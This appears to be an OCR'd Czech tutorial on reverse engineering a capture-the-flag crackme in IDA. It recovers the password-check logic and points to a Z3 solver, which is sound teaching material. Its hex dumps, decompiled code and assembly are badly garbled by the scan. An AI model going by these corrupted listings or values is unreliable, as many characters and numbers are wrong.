QQ0000leg 00 00 QO OO0 Q0 00 Q0 OO Q0 00 QQ Q0 00 00 Q0 00 2ZE 74 65 72 74 00 00 00 ... eeinnennnns TeXt...
00000180 61 05 00 00 00 10 00 00 00 06 00 OO0 00 02 00 OO0 Q0 00 00 00 00 00 00 00 @.ieeecnacsnensnnnnnnnnns
Q000001588 00 00 Q0 00 20 00 00 €0 2E €4 €1 74 €1 00 00 OO F7 01 00 00 00O 20 00 00 .... .. .data...=.... .

Q00001BO 00 02 Q0 00 00 08 00 00 00 00 Q0 OO 00 00 00 OO0 00 00 00 00 40 00 00 CO ... ineineeiinennn g..4
QO000QlCe 2ZE ©2 €4 €1 74 &1 00 00 92 00 Q0 Q0 Q0 30 00 00 QO 02 00 QO QO QR 00 00 .idata..”....0..........
QCOOOQQLEQ 00 00 QO 00 Q0 00 Q0 00 00 00 Q0 OO 40 00 Q0 40 00 00 Q00 00 QO 00 00 00 ........c.u. B..B.....
000001F8 ©O0 00 00 00 00 00 OO0 00 00 00 00 0O B3 7F 57 &5 00 00 00 OO0 OD OO0 00 00 ... .eieeenann *We. ...
00000210 CC 00 00 00 3C 10 00 00 3C 02 00 00 18 00 00 OO0 02 80 02 80 00 00 00 00 I...<...<........ £€.€....
QQgo00228 00 00 QO OO0 34 10 00 OO 08 OO0 QO OO0 08 11 00 OO0 41 04 00 OO0 00 OO0 00 00 ....4........... Ao......
Q0000240 00 10 Q0 00 1C 00 Q0 OO 2ZE 72 €4 €1 74 €1 00 00 1C 10 00 QO 20 00 00 00 ......... rdata...... .

00000258 2E 72 €4 61 74 61 24 76 €F €C 74 €D €4 00 00 00 3C 10 00 00 CC 00 00 00 .rdata$voltmd...<...I...
Q0000270 2E 72 64 €1 T4 61 24 TR TA TR €4 &2 €7 00 00 00 08B 11 00 00 59 04 00 00 .rdatafz=zzdbg....... Y...
00000288 2E 74 €5 78 T4 24 €D €E 00 00 00 00 00 20 00 00 F7 01 00 00 2E €4 €61 74 .textSmn..... .. <....dat
Q0000220 €1 00 Q0 00 00 30 00 00 14 00 Q0 OO 2E €% 64 €1 74 61 24 35 00 00 00 00 a&....0....... idata$s....
QQ0000ZBE 14 30 00 00 14 00 Q0 OO 2ZE ©2 €4 €1 74 €1 24 32 Q0 00 00 Q0 28 20 00 00 .0....... idata$2....(0..
QQOo00ZD0 14 00 Q0 00 2E €% 64 €1 74 €1 24 33 00 00 Q0 OO 3C 30 00 00 14 00 00 QO  ..... idataf3....<0......

Q0000ZEE 2E &% €4 €1 74 61 24 34 00 00 00 00 50 30 00 00 42 00 00 00 2ZE &9 €64 €1 .idataf4....P0..B....ida

00000300 74 &1 24 3€ 00 00 00 00 55 8B EC 51 83 €5 FC 00 8B 45 08 03 45 FC OF BE taf$6....0¢iQfeii.«E..Ed. %
00000318 00 85 CO 74 17 8B 45 08 03 45 FC OF BE 00 83 F2 0D 74 0% 8B 45 FC 40 89 . At.¢E..Ed.%.f@.t.<Eu@%
00000330 45 FC EB DC 8B 45 FC C% C3 55 8B EC 51 51 83 €5 FC 00 6A F& FF 15 0C 30 Eu&U<EUEAU¢iQQfed.id¥..0

Obrazek 3: Napoveda k pouziti dekompilace
5.1 Jak dekompilovany kéd prevést na néco pouzitelnéjsiho

lpBuffer = aVTomhleProgram;
sub_401166 [nﬂonl-h-?rn-g:m} 5
if ( !sub_401139 (Buffer) )
return sub_401lpBuffer: char[378]
Sleep (OxFAu) ;
if ( (int)sub_401108 (Buffer) > 10 )
return sub_4011D6();
if ( v9 )
return sub_ 4011E3();

vl = ~vwT:

Muzeme zacit prvni neznamou funkei. Vidime, ze jako argument pfijimé char[]/char*.

1 BOOL _ ecdeecl sub_ 401166(veid *lpBuffer)

2 |

3| int vl; // eax

4 HANDLE hCensoleCutput; // [esp+0h] [ebp-8h]

5 DWORD NumberOfCharsWritten; // [esp+dh] [ebp-4h] BYREF
6

7 NumberOfCharsWritten = 0;

8 hConsolefutput = GetStdHandle (OxFFFFFFFS) ;

9 vl = sub_401108 ((int) lpBuffar);
10 return WriteConsoleA (hConsoleCutput, lpBuffer, vl, &NumberOfCharsWritten, Q);
11 |}

Funkce dal volda WriteConsoleA s pfedanym argumentem. Je to vypis do konzole. Ida ndm
umoznuje si funkce a proménné prejmenovavat.

10
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Remove return value

Jump to xref globally...

Rename global item...

Dalsi funkce vypada hodné podobné, akorat bude z konzole ¢ist a ne do ni psét.

ool  cdecl sub 401139 (LPVOID lpBuffer)
{
HANDLE hFile; // [esp+0h] [ebp-Eh]
DWORD NumberOfBytesRead; // [esp+dh] [ebp-4h] BYREF

NumberOfBytesRead = 0Q;
hFile = GetStdHandle (0xFFFFFFFE);
return ReadFile (hFile, lpBuffer, 0xFFu, &NumberOfBytesRead, 0);

W=l s W

e

Navic si muzeme vsimnout a dozvédét se z dokumentace, ze precte maximalné 255 bajtu. Nacteny
vstup ulozi do Buffer, ktery si muzeme pirejmenovat na heslo a obdobné si pfejmenujeme i ostatni
funkce.

nt _ cdecl sub 401108 (int al)

_—

int i; // [esp+0h] [ebp-4h]

for ( i = 0; *{_BYTE #*) (i + al) && *(_BYTE *) (i + al) != 13; ++i )
return 1i;

[ BE - R P

—

Tahle funkce je dost oskliva. Ze startu ale vime, ze prijimé to heslo, ¢ili char®. Argument funkce
muzeme pretypovat.
| = =
1 sub_401108 (ipt_all
Synchronize with
/ [esp+0h] [eby
[y Copy

= 0; *(_BYTE *
Rename lvar...

Set lvar type...
- o - . -

int _ ecdecl sub 401108 (char *al)

{
int i; // [esp+0h] [ebp-4h]

for ( 1 = 0; al[i] && al[i] '= "\r£'; ++i )

r
return 1i;

}

W o=] o Wb W b e

A vidime, ze funkce pocitd délku string. (13 decimalné je \r, IDA ndm to umi pievést).

11
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W0 =] o U s LD RO e

Bl B B B L WL LW W L L L0 L 0 B RSB B RS BRI B B B B B s b e R e e e
OO EWNEPOOO A NEWRNEPEOOE-daW B WP OG-0 0 Wk o

-

nt start ()

char v1; // bl

char password([2]; // [esp+8h] [ebp-114h] BYREF
Char v3; // [esp+Ah] [ebp-112h]

char v4; // [esp+Bh] [ebp-111h]

unsigned __int8 v5; // [esp+Ch] [ebp-110h]
unsigned __ int8 v6; // [esp+Dh] [ebp-10Fh]
char v7; // [esp+Eh] [ebp-10Eh]

unsigned __int8 v8; // [esp+Fh] [ebp-10Dh]
char v9; // [esp+l0h] [ebp-10Ch]

veid *lpBuffer; // [esp+108h] [ebp-14h]
char v11[2]; // [esp+10Ch] [ebp-10h]

char v12; // [esp+l0Eh] [ebp-Eh]

char v13; // [esp+l0Fh] [ebp-Dh]

char vl4; // [esp+ll0h] [ebp-Ch]

char v15; // [esp+lllh] [ebp-Bh]

char vlé6; // [esp+ll2Zh] [ebp-RAh]

char v17; // [esp+l1ll3h] [ebp-9h]

char v18; // [esp+lld4h] [ebp-Bh]

[char v139; [/ [esp+l115h] [ebp-Th]

unsigned __intlé i; // [esp+ll8h] [ebp-4h]

lpBuffer = aVTomhleProgram;

print (aVTemhleProgram) ;

if { !'read_input (password) )
return print_spatna_delka() ;

Sleep (0xFAu) ;

if ( string_length((int)password) > 10 )
return print_spatna_delka() ;

if { vo )

. return print_spatne_heslo();

v1iEB = ~v7;

vlZ2 = 4 * v3;

vl7 = 2 * v8 = *[( BYTE *)lpBuffer + 9};
vl3d = v8 + vd;

Sleep (0xFAu) ;

v11l[0] = password[0] + 23;

vlz2 —-= 2 * v3;:

vlé = password[0] - v3;

vl = password[l];

v11[1] = sub_401198((int)a9%6) * vi;
Sleep (0xFAu) ;

vls = v9;

for ( i = 0; i < OxAu; ++i )

w15 = ((int)vé >> (vE % 5) << (vE % 5)) + (v5 & OxF);

vld = (v6 & OxF) + ((int)v5 >> (vE8 % 5) << (vE % 5));

Porad nam tady ale prekazi néjaky bordel. Dekompilace neni dokonala. Nedokaze poznat, jestli
data na stacku patii jednotlivym proménnym nebo jestli to bylo pole atd. Musime ji trosku pomoct.
Z funkce read_input vime, ze ocekava buffer o velikosti 255. Tak co kdybychom nase heslo pretypovali
na char[255]. Ida sice ve, ze piijdeme o ty dalsi proménné, ale to je nas ucel, takze ddme Set the

type.

Podobné pro vi1l. Dohromady v11 az v19 maji 10 znaku, stejné jako podminka v ifu a stejné
jako for smycka nakonci, muzeme je zase spojit do jednoho pole checkBytes.

12
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43 |}

nt start ()

char vl; // bl

char password[255]; // [esp+Bh] [ebp-114h] BYREF
void *lpBuffer; // [esp+l08h] [ebp-14h]

char checkBytes([10]; // [esp+l0Ch] [ebp-10h]
unsigned __intlé i; // [esp+l1E8h] [ebp-4h]

lpBuffer = aVTemhleProgram;
print (aVTemhleProgram) ;
if ( !read_input (password) )
return print_spatna_delka();
Sleep (0xFAu) ;
if ( string_length(password) > 10 )
return print_spatna_delka();
if ( password[8] )
return print_spatne_hesle();
checkBytes[8] = ~password[6];
checkBytes[5] = ((int) (unsigned __ int8)password[5] >> ((unsigned

+ (password[4] & OxF);
checkBytes[2] = 4 * password[2];
checkBytes[7] = 2 * password[7] = *(( _BYTE *)lpBuffer + 9);
checkBytes[3] = password[7] + password[3];
Sleep (0xFAu) ;
checkBytes[0]
checkBytes[4]

password[0] + 23;
(password[5] & O0xF)
((int) (unsigned __ int8)password[4] >> ((unsigned

+

checkBytes[2] == 2 * password[2];
checkBytes[6] = password[0] - password[2];
vl = password([l];

checkBytes[1l] = parse_int (str_96) ~ wvl;
Sleep (0xFAu) ;

checkBytes[9] = password[B8];

for ( i = 0; i =< 10u; ++i )

if { checkBytes[i] !'= byte_402024[i] )
return print_spatne_hesle();
}

Sleep (0xFAu) ;
return print_flag(password);

To uz vypadd mnohem lépe.
Na teseni takovychto omezeni je perfektni Z3 solver. Sta¢i uklizeny dekompilovany kod prepsat
do python skriptu s vyuzitim Z3 a najde ndm to spravny vstup, aby byly splnény vSechny podminky:.
Skript je v zipu v kodu teseni.

13
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https://www.youtube.com/watch?v=EacYNe7moSs
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nt start() |

11

2 {

3 char wl; // bl

4  char Buffer[2]; // [esp+8h] [ebp-114h] BYREF
5 char v3; /J [esp+ah] [ebp-112h]

& «char v4; // [esp+Bh] [ebp-111h]

7 unsigned _ intB v5; // [esp+Ch] [ebp-11@h]
8 unsigned __int8 wB; // [esp+Dh] [ebp-1@Fh]
9 char v7; // [esp+Eh] [ebp-18Eh]

18 unsigned _ int8 v8; // [esp+Fh] [ebp-1@0h]
11 char v3; // [esp+l8h] [ebp-18Ch]

12 void *1lpBuffer; // [esp+l@8h] [ebp-14h]

13 char v11[2]; // [esp+l@Ch] [ebp-18h]

14  char v12; // [esp+1BEh] [ebp-Eh]

15 char v13; // [esp+18Fh] [ebp-Dh]
16 char v14; // [esp+ll@h] [ebp-Ch]
17  char v15; // [esp+111lh] [ebp-Bh]
18 char v16; // [esp+112h] [ebp-Ah]
19  char v17; // [esp+113h] [ebp-9h]
28 char v18; // [esp+114h] [ebp-8h]
21  char v19; // [esp+115h] [ebp-7h]

22  unsigned _ intl6 i; // [esp+118h] [ebp-4h]
23

24 1pBuffer = aVTomhleProgram;

25  sub_481166(aVTomhleProgram);

26 if { !sub_4Bli139({Buffer) )

27 return sub 4811D6();

28  Sleep(@xFAu);

29 if { (int)sub_4e1l188(Buffer) > 18 )

30 return sub 4811D6();

31 if { v9 )

32 return sub_4811E9();

33 V18 = w73

34 wls = ((int)ve »> (v3 % 5) << (w8 % 5)) + (v5 & BxF);

35 wl2 = 4 * y3;

36 w17 = 2 * vd - *((_BYTE *)1lpBuffer + 9);
37 vld = vB + wd;

38 Sleep(@xFAu);

39 v1i[@] = Buffer[@] + 23;

48 wl4 = (wve & 8xF) + ({int)vs > (vB ¥ 5) << (v3 ¥ 5));
41 w12 -= 2 * y3;

42  wle = Buffer[@] - v3;

43 vl = Buffer[1];

44 y11[1] = sub_4@1198(a96) ~ vi;

45 Sleep(@xFAu);

45 v19 = vO3

47 for ( 1 =8; 1 < @fu; ++1 )

43 i

49 if ( v11[i] != byte_482824[i] )
58 return sub 4811E9();

51

52 Sleep(@xFAu);
53  return sub 4811FC(Buffer);
=4 1

Obrazek 4: Pseudokéd produkovany dekompilaci v nastroji IDA
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segment para public 'DATA' use32

.data:ee482008 _data

.data:ea482088 assume cs:_data
.data:ee462684§ resp—lrd
.data: 20482084 byte_ 402000 db 24h
.data:ee46200] db @CCh
.data: 0462601 db 1@h
.data: 0462603 db  97h
.data: 0462604 db 35h 5
.data:ea462609 db 8ah
.data: 00482006 db @Bsh
.data: 0482087 db  2Bh +
.data: 00482007 db 5SFh _
.data: 0482000 db  31h 1
.data: 048200/ db @CDh
.data:e048200E db 4Fh ; O
.data:ea48208( db  88h
.data:ea4820a10 db  22h "
.data:ee4820a6E db BACh
.data:eas4a2800 db BEGh
.data:ee482814 db 8Eh ; n
.data:ee46261] db  74h t
.data: 80462813 db 1Dh
.data: 00462813 db @D5h
.data: 80462814 db  4Fh ; ©
.data: 8462615 db  97h
.data: 8462614 db 3Dh =
.data: 8462617 db @aACh
.data: 8462614 db @E8h
.data:ae4820819 db  34h :
.data: 0482814 db  36h 6
.data:@e48201E db 72h ; r
.data: 0482814 db  94h
.data: 048201l db  4Ah ]
.data:e048201E db @eDeh
.data: 004820815 db  7Fh
.data: 004820826 db  8Eh
.data:ee48282] db @
.data: 8482821 db a
.data: 8462623 db a
.data:ee4eze2ft ; char byte_ 482824[12 ]
.data:ee4628 byte_4a2824 db 59h
.data: 04628 db @C5h
.data: 84628 db @Fs&h
.data: 884626 db 4Zh B
.data: 884626 db  43h C
.data: 884626 db @FEh
.data: 884626 db @C7h
.data: 04828 db  4Ch L
.data:aede2e db 77h ; w
.data:aede2e db @
.data:aede2e db @
.data:aede2e db @
.data: 88482838 asSpatnalelkaHes db @sh
.data:ee402630 db
.data:ee482846 align 4
.data: 804828458 aSpatneHeslo db 8Ah
.data:ee4626848 db 'Spatne heslo!’,8ah,8
.data:ee482858 aGratulujemeTaj db @Ah
.data: 84626858

.data: 20482874 asc_482874 db eah,a
.data: 80482876 align 4
.data:2e482878 aVTomhleProgram

; DATA XREF: sub_4811FC+471r

; DATA XREF: start+2951r

; DATA XREF: sub_4811D6+3To

'Spatna delka hesla!',@Ah,8

; DATA XREF: sub_4811E9+3To

; DATA XREF: sub_4@11FC+DTo

db 'Gratulujeme! Tajemstwvi je',8ah,8

; DATA XREF: sub_4811FC:loc_481274to

db 'V tomhle programu se schovava tajemstvi. K jeho ziskani musis zad'

Obrazek 5: Data ulozend v programu. Zasifrovana vlajka (zelend) a kontrolni bajty (¢ervend).
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checkBytes[2] = ~password[:c]: //bitovd negace

ffsloudeni dolnich Styf bithd password[4] s hornimi Styfmi bity password[5]
J/pomoci bitovych posuni a bitového AND
checkBytes[Z] = (password[=] & C0=0F) +

{{password[S] »> (password[7] % 5)) << (password[7] % S)):

checkBytes[2Z] = 4 * password[2]:
checkBytes[7] = password[7] * 2 - str[Z]:
checkBytes[3] password[Z] + password[7]:
checkBytes[0] = password[0] 4+ O0=x17:

J/sloudeni hornich Styf bithd password[4] s dolnimi Styfmi bity password[5]
checkBytes[2] = ((password[2] >> (password[7] % 2)) << (password[7] % Z))
+ (password[Z] & C=0E};

checkBytes[2] -= (password[2] << 1): //bitovy posun vievo slouZl jako nasobeni dveEma
checkBytes[c] = password[(l] - password[2]:

Sfatoi pfevedes numericky =string na integer =2 hodnotou jim reprezentovanou
checkBytes[l] = password[l] * atoi("Se"):

Obrazek 6: Postup tvorby bajti k porovnani
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text
dext
dext
text
dext
dext
text
dext
dext
text
dext
dext
dext
dext
JText
dext
text
JText
dext
text
dext
dext
text
dext
dext
text
dext
dext
text
dext
dext
text
dext
dext
dext
dext
JText
dext
dext
JText
dext
text
dext
dext
text
dext
dext
text
dext
dext
text
dext
dext
text
dext
dext
text
dext
JText
dext
dext

:884812FD loc_4@12FD:

(BE4AR12FD xor

1 BB4812FF inc
138481306 imul
1 Be481383 MOV Z X
1 @B4a8138B not

1 Ba481 360 wor
198181 38F inc
(eE4a1318 zhl
188481313 Mo
18e481317 xor
138481319 inc

1 BEAB131A zhl
128481310 MOV Z X
1838481325 and
1884E1 328 xor

1 BBIB132A inc
188481326 imul
188481 32E MOV ZX
188481336 xor
1884181338 inc
138481339 imul
188481330 MOV ZX
1@e4a1344 cdg
188481345 push
rBe4a1347 pop
1984681348 iddiwv
rBe4als4a M

1 88481 340 sar

1 Be48134E xor

1 BB481358 inc
138481351 imul
128481354 MOV Z X
1 @848135C cdq
188481350 push
1 BB48135F pop

P BE4B1368 idiwv
1884813652 M

1 984681364 shl

1 BB4B1366 add
188481368 Xor

1 BB1B1364 inc
188181366 imul
188481 36E Mo

: 88481372 xor
1984181374 inc

1 BB481375 zhl
188481377 MOV ZX
18848137 F shl
rBe4al382 Xor
138481384 inc

1 9B481385 shl
(ee4al387y M
188481388 wor
198181380 inc

1 BB48138E imul
188481391 Mo ZX
1 9B4681399 shl
188481396 xor
138481390 inc

1 BB48139E imul

Obrazek 7: Cést assembler kédu

eax, eax
eax

eax, b

eax, [ebp+eax+Buffer)
eax
ey,
ecx
ecx, 3
[ebptecx+var_18], al
eax, eax

eax

eax, 2

ebx, [ebpteaxt+Buffer]
ebx, @Fh

eax, eax

eax

eax, o

esi, [ebp+eax+Buffer]
eax, eax

eax

eax, 7

eax, [ebp+eax+Buffer)

eCcx

5
ecx
ecx
BCH,
esi,
eax,
eax
eax, 7

eax, [ebp+eax+Buffer)

edx
cl
eax

5
ecx
ecx
BCx,
esi,
ehx,
23X,
eax
eax, 5
[ebp+eax+var_18], bl
eax, eax

eax
eax,
eax,
eax,
eCcx,
ecx
ecx, 1
[ebptecx+var_1@], al
eax, eax

eax
Eax,
2ax,
eax,
eCH,
ecx
ecx, 9

edx
cl

esi
Eax

ebpteax+Buffer]

B

ECX

ebpteax+Buffer]

=

ECK

pro generovani kontrolnich bajti z hesla
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